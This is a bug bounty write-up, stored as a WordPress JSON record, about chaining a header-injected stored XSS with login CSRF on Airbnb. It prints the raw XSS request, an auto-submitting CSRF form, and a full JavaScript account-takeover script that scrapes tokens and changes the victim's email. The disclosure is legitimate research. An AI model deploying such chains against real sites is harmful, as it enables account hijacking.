{"id":204,"date":"2016-10-05T20:13:47","date_gmt":"2016-10-05T14:43:47","guid":{"rendered":"http:\/\/www.geekboy.ninja\/blog\/?p=204"},"modified":"2017-10-17T04:35:19","modified_gmt":"2017-10-16T23:05:19","slug":"airbnb-bug-bounty-turning-self-xss-into-good-xss-2","status":"publish","type":"post","link":"http:\/\/www.geekboy.ninja\/blog\/airbnb-bug-bounty-turning-self-xss-into-good-xss-2\/","title":{"rendered":"AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2"},"content":{"rendered":"<p><span style=\"color: #000000;\">Hello guys \ud83d\ude42<\/span><\/p>\n<p><span style=\"color: #000000;\">so this post is about one of my most interesting find while participating in bug bounty programs,\u00a0yes\u00a0interesting as its combination of many issues at AirBnb.<\/span><\/p>\n<p><span style=\"color: #000000;\">for those who don&#8217;t know AirBnb is running public program at <strong><a style=\"color: #000000;\" href=\"https:\/\/hackerone.com\/airbnb\" target=\"_blank\" rel=\"noopener\">HackerOne<\/a><\/strong>\u00a0and i will suggest to participate\u00a0in their program.\u00a0<\/span><\/p>\n<p><span style=\"color: #000000;\">here is list of issues which i got while doing research and\u00a0used to escalate it further.<\/span><\/p>\n<ol>\n<li><span style=\"color: #000000;\"><strong>Injecting XSS payload via\u00a0True-Client-IP header.<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Exploiting login\/logout CSRF.<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Escalating Self Stored XSS to Change victim&#8217;s account email.\u00a0<\/strong><\/span><\/li>\n<\/ol>\n<p><span style=\"color: #000000;\">let&#8217;s go into details ,<\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>Injecting XSS payload via\u00a0True-Client-IP header:<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">Airbnb use to track users ip to show them under users security setting to make sure users are aware of via which ip or location his\/her account got logged in previously in case of password reuse by others.<\/span><\/p>\n<p><span style=\"color: #000000;\">it&#8217;s good practice to give their users more secure feeling but not if its not implemented very well.<\/span><\/p>\n<p><span style=\"color: #000000;\">so this how users can see their login\u00a0history under security setting .<\/span><\/p>\n<p><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/login_track.jpg\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-215\" src=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/login_track.jpg\" alt=\"login_track\" width=\"771\" height=\"700\" srcset=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/login_track.jpg 771w, http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/login_track-300x272.jpg 300w, http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/login_track-768x697.jpg 768w\" sizes=\"(max-width: 771px) 100vw, 771px\" \/><\/a><\/span><\/p>\n<p><span style=\"color: #000000;\">if you hover your pointer to <span style=\"text-decoration: underline;\"><strong>?<\/strong><\/span><strong> \u00a0<\/strong>icon the IP address of source machine will get reflected, so my initial thought is to spoof the source IP\u00a0\u00a0as i heard about it\u00a0before <strong><a style=\"color: #000000;\" href=\"https:\/\/hackerone.com\/reports\/44555\" target=\"_blank\" rel=\"noopener\">here.<\/a><\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">I\u00a0come to know i can spoof the IP with any IP using\u00a0<strong>True-Client-IP <\/strong>header with\u00a0login\u00a0request, as result we can show any desired\u00a0IP\u00a0in login history.<\/span><\/p>\n<p><span style=\"color: #000000;\">Its good but still not convincing to report as its something we can do with our own account or for others we need password which is obviously not acceptable case.<\/span><\/p>\n<p><span style=\"color: #000000;\">credit goes to\u00a0<a style=\"color: #000000;\" href=\"https:\/\/twitter.com\/Parth_Malhotra\" target=\"_blank\" rel=\"noopener\"><strong>Parth<\/strong><\/a> for throwing idea of trying other strings instead of IP with\u00a0<strong>True-Client-IP, <\/strong>so i did and any string get reflected under security setting directly and now we can just think of getting XSS , so i got.<\/span><\/p>\n<p><span style=\"color: #000000;\">Giving XSS payload instead of any ip with <strong>True-Client-IP<\/strong>\u00a0header did the work.<\/span><\/p>\n<pre class=\"lang:default decode:true \">POST \/authenticate HTTP\/1.1\r\nHost: www.airbnb.co.in\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.04\r\nAccept: application\/json, text\/javascript, *\/*; q=0.01\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate, br\r\nX-CSRF-Token: V4$.airbnb.co.in$CpeQjCEtXnk$D7u8JuX39keALZgtvsmD3wr0_unmJBU3hVmj71h0Xlc=\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nCache-Control: no-cache\r\nX-Requested-With: XMLHttpRequest\r\nReferer: https:\/\/www.airbnb.co.in\/\r\nTrue-Client-IP: &lt;h1&gt;XSS&lt;\/h1&gt;&lt;\/center&gt;&lt;script&gt;alert(document.domain)&lt;\/script&gt;\r\nContent-Length: 198\r\nCookie: [REDACTED]\r\nConnection: close\r\n\r\nutf8=\u00e2\u009c\u0093&amp;authenticity_token=[REDACTED]&amp;from=email_login&amp;airlock_id=&amp;email=[REDACTED]&amp;password=[REDACTED]<\/pre>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #000000;\">And this is how i manage to get self stored xss under security setting .<\/span><\/p>\n<p><span style=\"color: #000000;\">Whenever i make request to\u00a0<strong>security page<\/strong>\u00a0, Self Stored XSS get executed.<\/span><\/p>\n<p><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/xss_airbnb.jpg\"><img loading=\"lazy\" class=\"aligncenter size-large wp-image-220\" src=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/xss_airbnb-1024x438.jpg\" alt=\"xss_airbnb\" width=\"634\" height=\"271\" srcset=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/xss_airbnb-1024x438.jpg 1024w, http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/xss_airbnb-300x128.jpg 300w, http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/xss_airbnb-768x329.jpg 768w, http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/xss_airbnb-816x349.jpg 816w, http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/10\/xss_airbnb.jpg 1142w\" sizes=\"(max-width: 634px) 100vw, 634px\" \/><\/a><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #000000;\"><strong>Exploiting login\/logout CSRF:<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">As i noticed there no csrf protection login as well as logout, i can easily make anyone to get logged out from his\/her account and get logged into my account and get redirect to security page where XSS will get executed on victim browser.<\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>CSRF Poc Code for the same :<\/strong><\/span><\/p>\n<pre class=\"lang:default decode:true \">&lt;html&gt;\r\n &lt;body&gt;\r\n &lt;center&gt; &lt;br&gt;\r\n &lt;form action=\"https:\/\/www.airbnb.co.in\/authenticate\" method=\"POST\"&gt;\r\n &lt;input type=\"hidden\" name=\"utf8\" value=\"\u00e2\u009c\u0093\" \/&gt;\r\n &lt;input type=\"hidden\" name=\"authenticity_token\" value=\"\" \/&gt;\r\n &lt;input type=\"hidden\" name=\"from\" value=\"email_login\" \/&gt;\r\n &lt;input type=\"hidden\" name=\"airlock_id\" value=\"\" \/&gt;\r\n &lt;input type=\"hidden\" name=\"email\" value=\"attackers@email.com\" \/&gt;\r\n &lt;input type=\"hidden\" name=\"password\" value=\"attacker@password\" \/&gt;\r\n &lt;input type=\"hidden\" name=\"form_remember_browser\" value=\"yes\" \/&gt;\r\n &lt;input type=\"hidden\" name=\"redirect_params\" value=\"https:\/\/www.airbnb.co.in\/users\/security\/78323762\" \/&gt;\r\n &lt;input type=\"submit\" value=\"XSS ME\" \/&gt;\r\n &lt;\/form&gt;\r\n &lt;script&gt;\r\n document.forms[0].submit();\r\n &lt;\/script&gt;\r\n &lt;\/center&gt;\r\n &lt;\/body&gt;\r\n&lt;\/html&gt;<\/pre>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #000000;\">this could be enough to report but still i want to check for if i can escalate further, my thought was to exploit this in victim&#8217;s account instead of making victim to logged into my account.<\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>Escalation of \u00a0Self Stored XSS to Change victim&#8217;s account email:<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">at AirBnb social logins is also an option for using it, so users can use their Google, Facebook account and i got the way to making this XSS exploitable for users who using <strong>Social Login<\/strong> to access AirBnb.<\/span><\/p>\n<p><span style=\"color: #000000;\">and this can be done in following way :<\/span><\/p>\n<ul>\n<li><span style=\"color: #000000;\"><strong>Instead of normal XSS Payload, Injected remote hosted JS.<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Victim to login into attacker&#8217;s account via CSRF<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Attacker&#8217;s Remote Hosted JS will get executed .<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>JS will perform 4 actions in IFrame which are as follows :<\/strong><\/span>\n<ul>\n<li><span style=\"color: #000000;\"><strong>Victim will logged out from attacker&#8217;s account<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Victim will get logged into his account via Google\u00a0Sign in<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Attacker will navigate to page Profile Setting page<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Attacker will Extract the CSRF Token from source code .<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Attacker\u00a0will update the\u00a0victim\u00a0email.<\/strong><\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><span style=\"color: #000000;\">looks complex ? but javascript will do it at once, i need to mention\u00a0some minor things, which helps to making the scenario\u00a0successful.<\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>X-Frame Header<\/strong> is\u00a0set to <strong>sameorigin<\/strong> , so i was able to make those 4 different request via iframe in context of airbnb host.<\/span><\/p>\n<p><span style=\"color: #000000;\">Social Login users <strong>don&#8217;t have password re-authentication<\/strong> while changing\u00a0the email, and once we changed it, we can reset the account via password reset process.<\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>Making all in One :\u00a0<\/strong><\/span><\/p>\n<pre class=\"lang:default decode:true \">document.body.innerHTML='&lt;html&gt;&lt;body&gt;&lt;center&gt;&lt;h1&gt;Testing :)&lt;\/h1&gt;&lt;\/center&gt;&lt;\/body&gt;&lt;\/html&gt;';\r\n\r\nvar profileIframe = document.createElement('iframe');\r\n profileIframe.setAttribute('src', 'https:\/\/www.airbnb.co.in\/logout');\r\n profileIframe.setAttribute('id', 'pi');\r\n document.body.appendChild(profileIframe);\r\n\r\ndocument.getElementById('pi').onload = function() {\r\n var profileIframe1 = document.createElement('iframe');\r\n profileIframe1.setAttribute('src', 'https:\/\/www.airbnb.co.in\/oauth_connect?from=google_login&amp;service=google');\r\n profileIframe1.setAttribute('id', 'lo1');\r\n document.body.appendChild(profileIframe1);\r\n\r\ndocument.getElementById('lo1').onload = function() {\r\n var profileIframe2 = document.createElement('iframe');\r\n profileIframe2.setAttribute('src', 'https:\/\/www.airbnb.co.in\/users\/edit');\r\n profileIframe2.setAttribute('id', 'po');\r\n document.body.appendChild(profileIframe2);\r\n\r\ndocument.getElementById('po').onload = function() {\r\n\r\nvar lol = document.getElementById('po').contentWindow.document.body.innerHTML;\r\nvar ha = lol.split('\"authenticity_token\" type=\"hidden\" value=\"');\r\nvar na = ha[1].split('\"');\r\n\r\nvar ha2 = lol.split('https:\/\/www.airbnb.co.in\/users\/edit_verification\/');\r\nvar na2 = ha2[1].split('\"');\r\n\r\nvar ha22 = lol.split('\"user[first_name]\" size=\"30\" type=\"text\" value=\"');\r\nvar na22 = ha22[1].split('\"');\r\n\r\nvar ha221 = lol.split('\"user[last_name]\" size=\"30\" type=\"text\" value=\"');\r\nvar na221 = ha221[1].split('\"');\r\n\r\nvar ha222 = lol.split('\"user[email]\" size=\"30\" type=\"text\" value=\"');\r\nvar na222 = ha222[1].split('\"');\r\n\r\n\r\n function submitRequest()\r\n {\r\n var xhr = new XMLHttpRequest();\r\n xhr.open(\"POST\", \"https:\/\/www.airbnb.co.in\/update\/\"+na2[0]+\"\", true);\r\n xhr.setRequestHeader(\"Accept\", \"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\");\r\n xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\r\n xhr.setRequestHeader(\"Content-Type\", \"application\/x-www-form-urlencoded\");\r\n xhr.withCredentials = true;\r\n var body = \"utf8=\u00c3\u0192\u00c2\u00a2\u00c3\u201a\u00c5\u201c\u00c3\u201a\u00e2\u20ac\u0153&amp;authenticity_token=\"+na[0]+\"&amp;user[first_name]=Got&amp;user[last_name]=Hacked&amp;user[email]=gothacked@hacker.com&amp;user_id=\"+na2[0]+\"\";\r\n var aBody = new Uint8Array(body.length);\r\n for (var i = 0; i &lt; aBody.length; i++)\r\n aBody[i] = body.charCodeAt(i); \r\n xhr.send(new Blob([aBody]));\r\n }\r\n submitRequest();\r\n\r\n}}}<\/pre>\n<p>&nbsp;<\/p>\n<p>Later Airbnb removed the <strong>Login History<\/strong> feature from account setting which was root cause of the issue for fixing it.<\/p>\n<p><strong>Video POC :<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/fOG4GKdUQQE\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><span style=\"color: #000000;\"><strong>Conclusion :<\/strong><\/span><\/p>\n<ul>\n<li><span style=\"color: #000000;\"> Sometimes multiple minor flaws can be chained to make impactful attacks, so it&#8217;s better to consider these minor issues at 1st place to avoid any big issues later.<\/span><\/li>\n<\/ul>\n<p><span style=\"color: #000000;\">escalation\u00a0must be reminding\u00a0you something you seen before same as title, here is that <strong><a style=\"color: #000000;\" href=\"https:\/\/whitton.io\/articles\/uber-turning-self-xss-into-good-xss\/\" target=\"_blank\" rel=\"noopener\">awesome write<\/a><\/strong> up find by<strong> <a style=\"color: #000000;\" href=\"https:\/\/twitter.com\/fin1te\" target=\"_blank\" rel=\"noopener\">fin1te<\/a><\/strong>, credit to him for his\u00a0writeup\u00a0to share\u00a0the idea of escalation &amp; <a style=\"color: #000000;\" href=\"https:\/\/twitter.com\/Parth_Malhotra\" target=\"_blank\" rel=\"noopener\"><strong>Parth<\/strong> <\/a>\u00a0for helping me with Javascript problems\u00a0\ud83d\ude42<\/span><\/p>\n<p><span style=\"color: #000000;\">do let me know your thoughts about it in comments \ud83d\ude42\u00a0<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello guys \ud83d\ude42 so this post is about one of my most interesting find while participating in bug bounty programs,\u00a0yes\u00a0interesting as its combination of many issues at AirBnb. for those who don&#8217;t know AirBnb is running public program at HackerOne\u00a0and i will suggest to participate\u00a0in their program.\u00a0 here is list of issues which i got [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[11,8,12],"_links":{"self":[{"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/204"}],"collection":[{"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/comments?post=204"}],"version-history":[{"count":55,"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/204\/revisions"}],"predecessor-version":[{"id":504,"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/204\/revisions\/504"}],"wp:attachment":[{"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/media?parent=204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/categories?post=204"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/tags?post=204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}